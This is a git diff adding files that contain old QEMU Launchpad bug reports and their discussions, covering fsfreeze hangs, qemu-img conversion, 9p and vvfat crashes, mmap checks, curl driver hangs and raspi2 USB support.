-qi qemu-guest-agent +Name : qemu-guest-agent +Epoch : 10 +Version : 2.12.0 +Release : 2.el7 + +Never had this problem on both oh these. + + +But it happens in some times， this problem dose not occur 100 percent。I can not reproduce when I want to find WHY。So it‘s dangerous in my production environment。 + +I have a problem with fsfreeze that looks very similar to this, though I'm of course not 100% sure it's the same. + +When I try to snapshot one server, fsfreeze-freeze hangs, and after having timeout'ed the qemu agent has crashed: + +# qm guest cmd 105 fsfreeze-status +thawed +# qm guest cmd 105 fsfreeze-freeze +^C << hangs, having to break out of the command +# qm guest cmd 105 fsfreeze-status +QEMU guest agent is not running +# qm reset 105 --skiplock +# qm guest cmd 105 fsfreeze-status +thawed + +Host is Proxmox 5, VM is Centos 7 with Cpanel. This happens every time I try to snapshot the server. Other VM's on the host freeze fine without problem. + +I don't find anything interesting under /var/log. Please let me know if there is anything I can do to help debug this problem. + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + +Re-opened in the new bug tracker here: https://gitlab.com/qemu-project/qemu/-/issues/520 + diff --git a/results/classifier/deepseek-1/output/files/1811711 b/results/classifier/deepseek-1/output/files/1811711 new file mode 100644 index 00000000..3227b822 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1811711 @@ -0,0 +1,89 @@ + +qemu-img can not convert virtualbox virtual disk formats qcow + +Hello, I'm working with QEMU on macOS, and am experiencing issues working with the `qemu-img` command. + +Info +---- +$ sw_vers +ProductName: Mac OS X +ProductVersion: 10.13.6 +BuildVersion: 17G4015 + +VirtualBox +---------- +$ VBoxManage --version +6.0.0r127566 + +$ qemu-system-x86_64 --version +QEMU emulator version 3.1.50 (v3.1.0-rc2-745-g147923b1a9-dirty) +Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers + +$ qemu-img --version +qemu-img version 3.1.50 (v3.1.0-rc2-745-g147923b1a9-dirty) +Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers + +Steps to reproduce +------------------ + +> Prereq VirtualBox needs to be installed to run the `VBoxManage` command + +$ VBoxManage createmedium disk --filename vbox-vdisk-exp.qcow --format qcow --size 5 +0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% +Medium created. UUID: e2b36955-3791-4c0e-93d4-913669b1d9fb + +$ file vbox-vdisk-exp.qcow +vbox-vdisk-exp.qcow: QEMU QCOW Image (v1), 5242880 bytes + +$ qemu-img info vbox-vdisk-exp.qcow +image: vbox-vdisk-exp.qcow +file format: qcow +virtual size: 5.0M (5242880 bytes) +disk size: 8.0K +cluster_size: 4096 + +# Convert vbox virtualdisk to qcow2 format using `qemu-img` +$ qemu-img convert -f qcow vbox-vdisk-exp.qcow -O qcow2 vbox-vdisk-exp-convert.qcow2 + +$ file vbox-vdisk-exp-convert.qcow2 +vbox-vdisk-exp-convert.qcow2: QEMU QCOW Image (v3), 5242880 bytes + +# Print info about qemu-img converted image from vbox created qcow image +$ qemu-img info vbox-vdisk-exp-convert.qcow2 mutts-6 | 0 < 10:53:00 +image: vbox-vdisk-exp-convert.qcow2 +file format: qcow2 +virtual size: 5.0M (5242880 bytes) +disk size: 196K +cluster_size: 65536 +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false + +# Print info about vbox created qcow image +qemu-img info vbox-vdisk-exp.qcow mutts-6 | 0 < 10:53:19 +image: vbox-vdisk-exp.qcow +file format: qcow +virtual size: 5.0M (5242880 bytes) +disk size: 8.0K +cluster_size: 4096 + +I've attached a zip file containing the vbox created qcow image along with the image that `qemu-img` converted. + + + +Hi, + +What exactly is the issue? All of that looks rather OK to me. + +Max + +This bug was related to an IRC discussion on Jan 14th but this bug description is not showing the problem that was raised on IRC. The IRC discussion showed a source image with a 9GB Windows 10 installation, turning into an image with only 8 MB of data present. The images in this bug description don't have any data written so are not illustrating the data conversion issue. + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1833871 b/results/classifier/deepseek-1/output/files/1833871 new file mode 100644 index 00000000..3006bbcd --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1833871 @@ -0,0 +1,22 @@ + +qemu-img convert file.vmdk: Invalid footer + +Steps to reproduce +- Open ESXi 6.5 Web UI +- Export OVF +- qemu-img convert disk.vmdk disk.qcow2 + +Error: + + qemu-img: Could not open './disk-1.vmdk': Invalid footer + +I found another person having this problem here: +https://forum.proxmox.com/threads/error-converting-vmdk-file-to-qcow2-file.38264/ +As I guess from the answer, the guy went over to manually copy the flat file from the datastore instead of using the ovf-exported file. + +Nevertheless, I think this bug should be investigated further and closed. Probably it is just some metadata issue and should not be too hard to fix once the root of the problem is found. + +I just compiled the version in the master branch and the same error occurred. + +Probably my image was corrupt since it works with another image. So this bug can be closed. + diff --git a/results/classifier/deepseek-1/output/files/1840865 b/results/classifier/deepseek-1/output/files/1840865 new file mode 100644 index 00000000..08af90b0 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1840865 @@ -0,0 +1,45 @@ + +qemu crashes when doing iotest on virtio-9p filesystem + +Qemu crashes when doing avocado-vt test on virtio-9p filesystem. +This bug can be reproduced running https://github.com/autotest/tp-qemu/blob/master/qemu/tests/9p.py. +The crash stack goes like: + +Program terminated with signal SIGSEGV, Segmentation fault. +#0 v9fs_mark_fids_unreclaim (pdu=pdu@entry=0xaaab00046868, path=path@entry=0xffff851e2fa8) + at hw/9pfs/9p.c:505 +#1 0x0000aaaae3585acc in v9fs_unlinkat (opaque=0xaaab00046868) at hw/9pfs/9p.c:2590 +#2 0x0000aaaae3811c10 in coroutine_trampoline (i0=<optimized out>, i1=<optimized out>) + at util/coroutine-ucontext.c:116 +#3 0x0000ffffa13ddb20 in ?? () from /lib64/libc.so.6 +Backtrace stopped: not enough registers or memory available to unwind further + +A segment fault is triggered at hw/9pfs/9p.c line 505 + + for (fidp = s->fid_list; fidp; fidp = fidp->next) { + if (fidp->path.size != path->size) { # fidp is invalid + continue; + } + +(gdb) p path +$10 = (V9fsPath *) 0xffff851e2fa8 +(gdb) p *path +$11 = {size = 21, data = 0xaaaafed6f420 "./9p_test/p2a1/d0/f1"} +(gdb) p *fidp +Cannot access memory at address 0x101010101010101 +(gdb) p *pdu +$12 = {size = 19, tag = 54, id = 76 'L', cancelled = 0 '\000', complete = {entries = { + sqh_first = 0x0, sqh_last = 0xaaab00046870}}, s = 0xaaab000454b8, next = { + le_next = 0xaaab000467c0, le_prev = 0xaaab00046f88}, idx = 88} +(gdb) + +Address Sanitizer shows error and saying that there is a heap-use-after-free on *fidp*. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/181 + + diff --git a/results/classifier/deepseek-1/output/files/1879998 b/results/classifier/deepseek-1/output/files/1879998 new file mode 100644 index 00000000..5d60613d --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1879998 @@ -0,0 +1,35 @@ + +Bad check for return value of mmap() + +In +./roms/skiboot/extract-gcov.c +there is this code: + + addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + assert(addr != NULL); + +This check is wrong, mmap never returns NULL, on errors it returns MAP_FAILED (or -1). (Also sidenote: asserts usually shouldn't be used for error checking.) + +In +roms/skiboot/libstb/print-container.c +there's a similar issue: + + payload = mmap(NULL, payload_st.st_size - SECURE_BOOT_HEADERS_SIZE, + PROT_READ, MAP_PRIVATE, fdin, SECURE_BOOT_HEADERS_SIZE); + if (!payload) + +This if should be (payload == MAP_FAILED). + +Another one is in +./roms/skiboot/libstb/create-container.c + +And in +./roms/u-boot/tools/aisimage.c +there's an mmap call that does not check the return value at all. + +skiboot is a separate project, we do not manage its code in the QEMU project, but just include the source code in our release tarballs since we ship the skiboot binary with QEMU. Please report these problems to the skiboot project instead: + + https://github.com/open-power/skiboot + +And concerning the mmap in roms/u-boot/, please report that issue to the U-Boot project instead: https://www.denx.de/wiki/U-Boot/ + diff --git a/results/classifier/deepseek-1/output/files/1883083 b/results/classifier/deepseek-1/output/files/1883083 new file mode 100644 index 00000000..d87e295d --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1883083 @@ -0,0 +1,53 @@ + +QEMU: block/vvfat driver issues + +Nathan Huckleberry <email address hidden> has reported following issues in the block/vvfat driver for the virtual VFAT file system image, used to share a host system directory with a guest VM. + +Please note: + -> https://www.qemu.org/docs/master/system/images.html#virtual-fat-disk-images + +Virtual VFAT read/write support is available only for (beta) testing purposes. + +Following issues are reproducible with: + + host)$ ./bin/qemu-system-x86_64 -nographic -enable-kvm \ + -drive file=fat:rw:/tmp/var/run/,index=2 -m 2048 /var/lib/libvirt/images/f27vm.qcow2 + + guest)# mount -t vfat /dev/sdb1 /mnt/ + +The attached reproducers (run inside a guest) include: + +1. dir.sh: - directory traversal on the host + - It creates a file under /mnt/yyyy + - Then edits the VFAT directory entry to make it -> /mnt/../y + - The handle_renames_and_mkdirs() routine does not check this new file name + and creates a file outside of the shared directory on the host + +2. dos.sh: hits an assertion failure in vvfat driver + - Creates a deep directory tree like - /mnt/0/1/2/3/4/5/6/../29/30/ + - While updating vvfat commits, driver hits an assertion in + handle_renames_and_mkdirs + ... + } else if (commit->action == ACTION_MKDIR) { + ... + assert(j < s->mapping.next); <== it fails + +3. read.sh: reads past vvfat directory entries + - Creates a file with: echo "x" > /mnt/a + - Reads past VVFAT directory entry structure with + + # head -c 1000000 $MNTDEV | xxd | grep x -A 512 + + - It may disclose some heap addresses. + +4. write.sh: heap buffer overflow + - Creates large number of files as /mnt/file[1..35] + - while syncing directory tree with the host, driver hits an overflow + while doing memmove(3) in array_roll() routine + + + +This ticket has been transferred to QEMU's new bug tracker here: +https://gitlab.com/qemu-project/qemu/-/issues/272 +... thus closing the issue on Launchpad now. + diff --git a/results/classifier/deepseek-1/output/files/1884169 b/results/classifier/deepseek-1/output/files/1884169 new file mode 100644 index 00000000..f9e059fb --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1884169 @@ -0,0 +1,19 @@ + +There is no option group 'fsdev' for OSX + +When I try to use -fsoption on OSX I receive this error: + +-fsdev local,security_model=mapped,id=fsdev0,path=devel/dmos-example: There is no option group 'fsdev' + +That's the behaviour on macOS that I would expect ATM. So it's not a bug. + +Your macOS version was compiled without virtfs support, that's why qemu does not even offer you these options. + +Even though 9P is a network protocol, you still need support by host OS and guest OS for some kind of communication channel between host and guest. Currently 9pfs in qemu supports either virtio (Linux KVM host <-> Linux guest) or Xen as communication channel. For macOS so far nobody bothered to implement a communication driver for qemu 9pfs yet. + +But actually OS X (macOS) supports 9pfs and it does have its own AppleVirtIO9PVFS which makes things a bit strange, would not that be a good workaround, to use the AppleVirtIO9PVFS? + +All my best, + +Waheed + diff --git a/results/classifier/deepseek-1/output/files/1888467 b/results/classifier/deepseek-1/output/files/1888467 new file mode 100644 index 00000000..f16dfde7 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1888467 @@ -0,0 +1,77 @@ + +qemu-img http convert bug + +Hello, Why the file sizes of http conversion and local conversion are inconsistent? + +Use the http method of qemu-img for conversion. The size of some formats after conversion is different from the local method of qemu-img. Such as vhd, vdi. qcow2 and vmdk are normal。 +My image size is 40 G, raw format. + +The source is the same file, but the access method is different +http method of qemu-img： qemu-img convert -f raw -O vdi http://xxx xxx.vdi（19G，after conversion） +local method of qemu-img： qemu-img convert -f raw -O vdi xxx.raw xxx.vdi（3G，after conversion） + +thank you + +Hi, + +What exactly do you mean by “file size”? The file length (as reported by ls -l) or the bytes used on disk (reported as “disk size” by qemu-img, or by du -B1)? + +You say that qcow2 and vmdk are normal – do you mean as input or as output formats? + +One thing that comes to my mind is that from http, we have no way of inquiring about holes in the source file, so we have to scan the file for ranges that are zero, which may not be optimal. OTOH, the default minimum-zero length is 4 kB, which should basically be the granularity at which filesystems can record and report holes, too. +(And if that’s the problem, it should present itself regardless of the output format.) + +Can you paste the output for “qemu-img map” on your source file somewhere (the local one), or is that too long? + +first, what I said "file size" is file length as reported by ls -l?field.comment=first, what I said "file size" is file length as reported by ls -l. + +The following attachment shows the size of the same source file after different conversion methods， + +http -> local: qemu-img convert -f raw -O vdi localfile localfile1 +local -> local: qemu-img convert -f raw -O vdi localfile localfile2 +localfile1's size is different from localfile2 + +secondly, the conversion of qcow2 and vmdk is normal. +http -> local: qemu-img convert -f raw -O qcow2 localfile localfile1 +local -> local: qemu-img convert -f raw -O qcow2 localfile localfile2 +localfile1's size is the same size as localfile2 + +OK, that’s interesting. To be honest, I have no idea. I’ll keep this in mind and I’ll try to play around with it, but I can’t promise anything. + +hello, I have an other question。 +Why does qemu-img support http reader mode but not http writer mode? +think you. + +Because nobody has implemented it so far. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" within the next 60 days (otherwise it will get +closed as "Expired"). We will then eventually migrate the ticket auto- +matically to the new system (but you won't be the reporter of the bug +in the new system and thus won't get notified on changes anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1905979 b/results/classifier/deepseek-1/output/files/1905979 new file mode 100644 index 00000000..63c29d86 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1905979 @@ -0,0 +1,56 @@ + +Check if F_OFD_SETLK is supported may give wrong result + +In util/osdep.c there is a function qemu_probe_lock_ops() to check if file locks F_OFD_SETLK and F_OFD_GETLK (of the style "Open file description locks (non-POSIX)") are supported. + +This test is done by trying a lock operation on the file /dev/null. + +This test can get a wrong result. + +The result is (probably) if the operating system *in general* supports these locks. However, it does not guarantee that the file system where the lock is really wanted (for instance, in caller raw_check_lock_bytes() in block/file-posix.c) does support these locks. + +(In theory it could even be that /dev/null, being a device special file, does not support the lock type while a plain file would.) + +This is in particular relevant for disk images which are stored on a shared file system (my particular use case is the Quobyte file system, which appears not to support these locks). + +The code as mentioned above is present in the master branch (I checked commit ea8208249d1082eae0444934efb3b59cd3183f05) but also for example on stable-2.11 commit 0982a56a551556c704dc15752dabf57b4be1c640) + +This is rather serious, since it causes VMs to crash: + +Unexpected error in raw_check_lock_bytes() at /build/qemu-PKI6mj/qemu-4.2/block/file-posix.c:796: +Failed to get "write" lock +2020-11-23 11:32:27.810+0000: shutting down, reason=crashed + +when openstack attempts to create a snapshot. + +In this thread, it is pointed out that support for OFD is provided by the generic VFS layer in the kernel, so there should never be a situation where one filesystem supports OFD and another does not support OFD: + + https://lists.gnu.org/archive/html/qemu-devel/2020-11/msg05264.html + +Can you say what filesystem you are using that exhibits the lack of OFD support, and what kernel version + +Interesting. Thanks for the link. + +The file system we are using is the Quobyte file system (2.24.1) (https://www.quobyte.com/), which works via FUSE. +We've had problems with OFD locks with this file system in the past, so my first thought, seeing the error in comment #1, was that those would be to blame. + +But if the OFD locks are not really handled by the file system, I'm not sure how that explains the OFD lock issues we had in the past. I don't suppose this changed in the last year or so. Just now I made a little test program (basically copying qemu_lock_fd_test() and qemu_probe_lock_ops() from qemu) to double-check, and indeed right now it seems that the OFD locks *are* working on the Quobyte file system. Or at least qemu_lock_fd_test() doesn't return an error. + +So now I'm back to square one on diagnosing the observed error. It occurred in an installation of Openstack Ussuri installed on Ubuntu 18.04 Bionic using the Ubuntu Cloud Archive for packaging. The Cloud Archive has backports of the latest Qemu to earlier Ubuntu versions. The exact qemu version was http://ubuntu-cloud.archive.canonical.com/ubuntu/pool/main/q/qemu/qemu_4.2-3ubuntu6.7~cloud0_amd64.deb . + +Annoyingly I have not been able to locate the git repo from which the Ubuntu Cloud Archive creates its packages (containing the patches and build changes for backports); all I can find is version 4.2-3ubuntu6.7 (without ~cloud0) which is for Ubuntu 20.04 Focal. + +For now we're working around it by downgrading Qemu to the normal Bionic version (2.11+dfsg-1ubuntu7.33) + +You wouldn't happen to know where the Ubuntu Cloud Archive stores exact files it creates its packages from? (I have already asked on stackoverflow without success so far: https://stackoverflow.com/questions/65146846/from-which-git-repos-does-the-ubuntu-cloud-archive-compile-its-packages) + + + +Look in the same directory as that .deb link above - the the files ending in orig.tar.gz (upstream source) and files ending in debian.tar.xz (downstream modifications) + +The kernel version is Linux hostname 4.15.0-124-generic #127-Ubuntu SMP Fri Nov 6 10:54:43 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux + +That is indeed the source and patches, but I wanted to follow their git repo for easier maintenance. Surely they must have one. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/304636 b/results/classifier/deepseek-1/output/files/304636 new file mode 100644 index 00000000..7181b1e0 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/304636 @@ -0,0 +1,91 @@ + +-hda FAT:. limited to 504MBytes + +Binary package hint: qemu + +The size of the virtual FAT file system (for sharing a particular directory with Guest OS) is hard-coded to be limited to 504MBytes, in block-vvfat.c +-- +/* 504MB disk*/ +bs->cyls=1024; bs->heads=16; bs->secs=63; +-- + +If the directory contents exceeds this is stops with an assert +-- +qemu: block-vvfat.c:97: array_get: Assertion `index < array->next' failed. +Aborted +-- + +Also the FAT16 mode (default) only uses 8KByte cluster sizes which prevents the above being increased. 16KByte and 32KByte sectors can be selected with the following patch +-- +--- block-vvfat.c_orig 2008-12-02 12:37:28.000000000 -0700 ++++ block-vvfat.c 2008-12-02 19:50:35.000000000 -0700 +@@ -1042,6 +1042,12 @@ + s->fat_type = 32; + } else if (strstr(dirname, ":16:")) { + s->fat_type = 16; ++ } else if (strstr(dirname, ":16-16K:")) { ++ s->fat_type = 16; ++ s->sectors_per_cluster=0x20; ++ } else if (strstr(dirname, ":16-32K:")) { ++ s->fat_type = 16; ++ s->sectors_per_cluster=0x40; + } else if (strstr(dirname, ":12:")) { + s->fat_type = 12; + s->sector_count=2880; +-- + +Cheers, +Mungewell + +please send your patch to upstream at <email address hidden>, the vvfat code in qemu is fragile and should be carefully reviewed. + +the path ever came? i'm still having this problem, i can't run qemu on windows because in the fat: partition there are files bigger then 500 mb + +Please submit the patch upstream + +Linked against upstream, confirmed and wishlist. Ubuntu should get this when upstream takes the patch. + +Thanks! +:-Dustin + +Thank YOU, dustin! +What's next? I don't understand, should i do something else or i can just wait for the fix? somebody has to send the patch ? +Another thing: why wishlist? this is clearly a bug, and a quite serious one: you just can't give a fat bigger than 500 mb to qemu. i can't use qemu since years, because of this... +Thanks + +Hello. + +I am using qemu-5.2.0 in Windows with operating system Minix 3.1.2a and vfat fail to write files of size over 4096 bytes. The read works well. This is not ploblem of Minix 3.1.2a because in Bochs emulator reads an writes of files of any size works well. + +I also consider this to be a major bug as it prevents communication of information between the guest OS and the host. I have over 300 students complaining about this bug present in qemu. + +Thanks. + + + +Hi Pedro, + +Sorry to hear of your difficulty, but given the age of this bug report, I'd strongly urge you to file a new bug report. Since this was last looked at over 10 years ago, it's extremely likely your issue is completely unrelated to the originally reported one. + +Here are a couple pages on how to write effective bug reports, that I'd encourage reading to ensure your report is actionable and can (hopefully) get resolved expediently: + + * https://help.ubuntu.com/community/ReportingBugs + * https://ubuntu.com/server/docs/reporting-bugs + +A few other tips specific to qemu (per the upstream bug tracker): + + * Include the QEMU release version or the git commit hash into the description, so that it is later still clear in which version you have found the bug. Reports against the latest release or even the latest development tree are usually acted upon faster. + * Include the full command line used to launch the QEMU guest. + * Reproduce the problem directly with a QEMU command-line. Avoid frontends and management stacks, to ensure that the bug is in QEMU itself and not in a frontend. + * Include information about the host and guest (operating system, version, 32/64-bit). + + +Pedro, +please also note that vvfat driver is general in a bad state and more or less completely unmaintaind. I can only strongly recommend to *not* use it in production. If you have to share files between guest and host, please use something more modern like virtio-fs (or maybe virtio-9p) instead. + +If you need OS portability then the "usb-mtp" device is also an option for adhoc file sharing. + +This bug report has been moved to QEMU's new bug tracker on gitlab.com and thus gets now closed in Launchpad. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/66 + diff --git a/results/classifier/deepseek-1/output/files/584146 b/results/classifier/deepseek-1/output/files/584146 new file mode 100644 index 00000000..cb57801d --- /dev/null +++ b/results/classifier/deepseek-1/output/files/584146 @@ -0,0 +1,13 @@ + +Virtual fat breaks with -snapshot + +When using fat emulation together with snapshot, qemu fails to find the directory for the fat "filesystem". + +See Debian bug#504049, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=504049 and discussion on qemu-devel with Kevin Wolf, http://marc.info/?t=126850802800001 for details. + +There's a workaround for this bug: when using full path for fat:/dir/name it works. + +Can you still reproduce this issue with the latest version of QEMU? If so, could you please provide a proper command line that triggers this problem? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/597575 b/results/classifier/deepseek-1/output/files/597575 new file mode 100644 index 00000000..3ed17955 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/597575 @@ -0,0 +1,38 @@ + +Hangs on HTTP errors when using the curl block driver + +Hi, + +It seems that qemu-kvm does not handle HTTP errors gracefully when using the curl block driver and a synchronous request is made (i.e. one using bdrv_read_em() for example). In these cases, if an HTTP error (such as 404 or 416) is returned, the aio thread exits but the main thread never finishes waiting for I/O completion, thus freezing KVM. + +Versions affected: +At least 0.11.1 and 0.12.4 were tested and found to be affected. + +How to reproduce: +Simply specify a non-existing path for an HTTP URL as a CDROM drive. +kvm -drive file=test.img,format=qcow2,if=ide,index=0,boot=on -drive file=http://127.0.0.1/static/test1.iso,media=cdrom,index=2,if=ide -boot c + +qemu-kvm will hang on boot using 100% cpu as it will try to open the block device. At that point, the backtrace is (qemu-kvm-0.12.4): + +#0 0x000000000047aaaf in qemu_aio_wait () at aio.c:163 +#1 0x000000000047a055 in bdrv_read_em (bs=0x1592320, sector_num=0, buf=0x7fffcf7e9ae0 "¨\237~Ïÿ\177", nb_sectors=4) + at block.c:1939 +#2 0x0000000000479c0e in bdrv_pread (bs=0x1592320, offset=<value optimized out>, buf=0x7fffcf7e9ae0, count1=2048) + at block.c:716 +#3 0x000000000047a862 in bdrv_open2 (bs=0x1591a30, filename=0x1559f00 "http://127.0.0.1/static/test1.iso", + flags=0, drv=0x84eca0) at block.c:316 +#4 0x000000000040dcb4 in drive_init (opts=0x1559e60, opaque=<value optimized out>, fatal_error=0x7fffcf7ea494) + at /build/buildd-qemu-kvm_0.12.4+dfsg-1~bpo50+1-amd64-KOah5G/qemu-kvm-0.12.4+dfsg/vl.c:2471 +#5 0x000000000040e086 in drive_init_func (opts=0x155db00, opaque=0x0) + at /build/buildd-qemu-kvm_0.12.4+dfsg-1~bpo50+1-amd64-KOah5G/qemu-kvm-0.12.4+dfsg/vl.c:2488 +#6 0x0000000000475421 in qemu_opts_foreach (list=<value optimized out>, func=0x40e070 <drive_init_func>, + opaque=0x8495e0, abort_on_failure=12) at qemu-option.c:817 +#7 0x000000000040e9af in main (argc=7, argv=0x7fffcf7ea838, envp=<value optimized out>) + at /build/buildd-qemu-kvm_0.12.4+dfsg-1~bpo50+1-amd64-KOah5G/qemu-kvm-0.12.4+dfsg/vl.c:6011 + +Thanks + +QEMU 0.11 / 0.12 are pretty much outdated nowadays ... can you still reproduce this issue with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/888150 b/results/classifier/deepseek-1/output/files/888150 new file mode 100644 index 00000000..a459bfd3 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/888150 @@ -0,0 +1,17 @@ + +qemu and qemu.git -> Migration + disk stress introduces qcow2 corruptions + +Hi guys, here I am, reporting yet another issue with qemu. This time, it's something that was first reported in January, and Juan proposed a patch for it: + +http://comments.gmane.org/gmane.comp.emulators.qemu/89009 + +[PATCH 4/5] Reopen files after migration + +The symptom is, when running disk stress or any intense IO operation in guest while migrating it causes a qcow2 corruption. We've seen this consistently on the daily test jobs, both for qemu and qemu-kvm. The test that triggers it is autotest stress test running on a VM with ping-pong background migration. + +The fix proposed by Juan is on our RHEL branch and such a problem does not happen on the RHEL branch. So, what about re-considering Juan's patch, or maybe work out a solution that is satisfactory for the upstream maintainers? + +The URL that you've mentioned in the description is not valid anymore ... can you still reproduce this problem with the latest version of QEMU, or can we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/fix./1772165 b/results/classifier/deepseek-1/output/fix./1772165 new file mode 100644 index 00000000..bd8621cf --- /dev/null +++ b/results/classifier/deepseek-1/output/fix./1772165 @@ -0,0 +1,366 @@ + +arm raspi2/raspi3 emulation has no USB support + +Using Qemu 2.12.0 on ArchLinux. + +Trying to emulate arm device with `qemu-system-arm` and attach usb device for unput using + +` -usb -device usb-host,bus=001,vendorid=0x1d6b,productid=0x0002 ` + +# lsusb returns + +Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub +Bus 001 Device 014: ID 13d3:3487 IMC Networks +Bus 001 Device 004: ID 0457:11af Silicon Integrated Systems Corp. +Bus 001 Device 003: ID 0bda:57e6 Realtek Semiconductor Corp. +Bus 001 Device 002: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller +Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub + +# qemu returns +qemu-system-arm: -device usb-host,bus=001,vendorid=0x1d6b,productid=0x0002: Bus '001' not found + + +Tried with connecting external usb keyboard but that didn't seem to work either. + +Can you give the full QEMU command line you're using? (I suspect the reason for this error is that the board model you're using does not have a USB controller.) + + +qemu-system-arm -M raspi2 -append "rw earlyprintk loglevel=8 dwc_otg.lpm_enable=0 root=/dev/mmcblk0p2" -cpu arm1176 -dtb bcm2709-rpi-2-b.dtb -hda DietPi_v6.8_RPi-ARMv6-Stretch.img -kernel kernel7.img -m 1G -smp 4 -serial stdio -usb -device usb-host,bus=001,vendorid=0x1d6b,productid=0x0002 + +Thanks. The USB controller for the raspi2/raspi3 boards is not currently modelled, so it's expected that USB devices won't work. + + +How then should I be able to actually use the vm when there is no input? + +Serial terminal is how I've used the raspi3 board before. + + +Serial terminal doesn't work with this options. Would you provide options with which i'll be able to access and login into the terminal. SSH is also a good solution. + +This is for raspi3 but may be a useful reference: +https://translatedcode.wordpress.com/2018/04/25/debian-on-qemus-raspberry-pi-3-model/ + +Probably what you're hitting is that the kernel/dtb default to the second serial terminal, so you can try adding 'console=ttyAMA0' to the -append options, or alternatively maybe using -serial null -serial stdio to drop the 1st serial output and send the second to the terminal. + +Since the raspi networking sits behind USB, QEMU doesn't support that, so no ssh option, I'm afraid. + + +Whenever I append `console=ttyAMA0` I get kernel panic `Division by zero in kernel` and -serial stdio doen't seem to work. + +Beside rpi3 usb emulation not being there you are using the wrong argument. bus= specifies the *guest* bus. hostbus= can be used to specify the host bus number. When passing through devices using vendorid and productid this should not be needed though. Oh, and you can't pass through usb hubs, only individual devices. + +Out of curiousity, does the raspi2 machine support a PCI bus? I am trying to boot Debian arm64 with qemu-system-aarch64, and am running into all manner of complaints from qemu about missing devices. Is there another machine like virt, but that offers support for boot devices? + +On Sun, 24 Mar 2019 at 17:34, mcandre <email address hidden> wrote: +> Out of curiousity, does the raspi2 machine support a PCI bus? + +No. There is no PCI bus on the raspi2 hardware and so there +is no PCI bus in QEMU's model of it. + +> I am +> trying to boot Debian arm64 with qemu-system-aarch64, and am running +> into all manner of complaints from qemu about missing devices. Is there +> another machine like virt, but that offers support for boot devices? + +I'm not sure what you mean by "boot devices" here. "virt" is +generally the machine we would recommend if you just want to +boot Debian. If you haven't seen this blog post before it might +be of use: +https://translatedcode.wordpress.com/2017/07/24/installing-debian-on-qemus-64-bit-arm-virt-board/ + +thanks +-- PMM + + +After reading change logs, I believe USB support for raspi2/raspi3 is not added yet. Which means host internet network can't be accessed by emulated machine. + +I would be glad to help in documentation of differences between real Raspberry Pi devices and QEMU emulated raspi2/raspi3 since I have seen a lot of tutorials on internet trying to use QEMU for emulating raspberry pi. These tutorials most of the times are just hacks, like using versatilepb or using custom kernel instead of the Raspbian OS. + +I have gathered as much info as possible over the last week through these tutorials, QEMU raspi code and change logs, and believe a good documentation of this info could help future users trying to emulate raspi. + +Finally, I am able to run latest Raspbian OS (2019-07-10) lite version on raspi2 using the following command where I have extracted kernel image and dtb file from second partition: + +qemu-system-arm -M raspi2 -kernel bootpart/kernel7l.img -dtb bootpart/bcm2709-rpi-2-b.dtb -drive file=2019-07-10-raspbian-buster-lite.img,format=raw,if=sd -append "rw console=ttyAMA0 loglevel=8 root=/dev/mmcblk0p2 fsck.repair=yes rootwait memtest=1" -serial stdio + +I am not able to connect network devices, not able to use images other than lite image 